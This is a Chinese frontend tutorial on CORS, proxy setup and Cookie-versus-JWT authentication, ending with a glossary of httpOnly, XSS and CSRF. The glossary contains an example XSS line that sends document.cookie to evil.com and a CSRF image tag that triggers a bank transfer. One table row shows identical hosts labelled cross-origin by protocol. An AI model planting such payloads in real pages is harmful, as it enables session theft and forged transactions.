作为前端开发者,我们常常面临CORS拦截请求、Cookie丢失、Token失效等典型问题。这些问题的核心都围绕着三个关键概念:跨域、Cookie和Token。
本文将通过系统讲解,帮助您理清这三者的相互关系、应用场景与核心差异。
一、什么是跨域
1.同源策略
浏览器处于安全考虑,规定只有同源(协议,域名,端口号都相同)的请求,才能相互访问资源,否则就会触发跨域问题(CORS)。
举例子来说:
| 请求地址 | 是否跨域 | 原因 |
|---|
| http://localhost:5173 → http://localhost:5173 | 否 | 完全相同 |
| http://localhost:5173 → http://localhost:3000 | 是 | 端口不同 |
| example.com → example.com | 是 | 协议不同 |
| a.com → b.com | 是 | 域名不同 |
2.为什么要有跨域限制?
防止恶意网站伪造请求,读取你在其他网站的敏感信息(比如Cookie,个人资料)。
二、跨域请求的解决方案
1.后端开启CORS支持
后端在响应头体添加一下内容即可:
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
解释:
Allow-Origin:允许指定来源访问
Allow-Methods:允许的HTTP请求方法
Allow-Headers:允许的请求头
Allow-Credentials:是否允许携带Cookie
这是最常见最安全的方式
2.前端配置代理(开发环境常用)
如果后端暂时不支持CORS,可以在开发服务器(如Vite,Webpack,Next.js)设置代理
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'http://localhost:3000',
changeOrigin: true
}
}
}
}
这样前端访问/api/user时,会被代理服务器转发到后端http://localhost:3000/api/user。
原理就是代理服务器和前端同源,因此浏览器不会拦截。而代理服务器接收数据不会经过浏览器。
三、Cookie与Token:两种身份凭证机制
身份验证本质上就是让服务器知道"你是谁"
目前主流方式有两种Cookie+Session和Token(json web token)
1.Cookie+Session登录流程
1.用户登录->后端验证账号密码
2.后端创建session并返回
Set-Cookie: sessionid=abc123; Path=/; SameSite=None; Secure
3.浏览器自动保存Cookie
4.后端请求自动携带
Cookie: sessionid=abc123
关键点:
前端请求必须加上
fetch(url, { credentials: 'include' })
后端必须允许携带凭证
Access-Control-Allow-Credentials: true
优点:浏览器自动管理Cookie,安全性高可以设置(httpOnly)
缺点:移动端或者多服务器分布式框架不适合,跨域麻烦
2.Token(通常是jwt)登录流程
1.登录成功后,后端返回一个Token:
{ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6..." }
2.前端保存Token:
localStorage.setItem('token', token)
3.后续请求需要手动携带(一般放在请求拦截器)
fetch('/user', {
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`
}
})
优点:不依赖Cookie,跨域,跨端(App,小程序)都能用。轻松做单点登录,微服务。
缺点:前端需要手动管理token,存储不安全,会被XSS读取。
四、不同场景的选择
| 场景 | 推荐方案 | 说明 |
|---|---|---|
| 传统网站(同域部署) | Cookie + Session | 浏览器自动带 Cookie |
| 前后端分离(React / Vue + Node) | Token | 请求自由,跨域方便 |
| 移动端 / 小程序 | Token | 没有 Cookie 概念 |
| 高安全要求系统 | Cookie + CSRF 防御 | 结合服务器验证最安全 |
| 微服务、分布式 | Token(JWT) | 可跨服务共享身份 |
五、Cookie 与 Token 的直观对比
| 对比项 | Cookie + Session | Token(JWT) |
|---|---|---|
| 状态保存 | 服务端 | 客户端 |
| 携带方式 | 浏览器自动带上 | 手动放在 Header 中 |
| 跨域 | 需配置 CORS + credentials | 不受限 |
| 安全性 | 防 XSS,但易受 CSRF | 防 CSRF,但易受 XSS |
| 适用场景 | 同域 Web 网站 | 前后端分离、App |
六、总结
跨域是浏览器的安全机制,与身份验证无关。
Cookie是浏览器自动管理的登录凭证。
Token是前端手动管理的通用凭证。
前后端分离用token更方便,传统网站用Cookie更简单。
名词解释:
1. httpOnly是Cookie的一个属性。
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=None
加上这个属性之后,前端就无法通过document.cookie访问它,防止被恶意脚本(XSS)窃取Cookie,保护登录态。
2. XSS(Cross-site Scripting)跨站脚本攻击,一种前端常见的攻击方式。
用户可能在评论区输入代码比如
fetch('https://evil.com/steal?cookie=' + document.cookie)
获取登录Cookie
3. CSRF(cross-Site Request Forgery)跨站请求违造。
可能在打开恶意网站的时候,偷偷发请求
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
跨域,Cookie与Token前端身份验证的全流程解析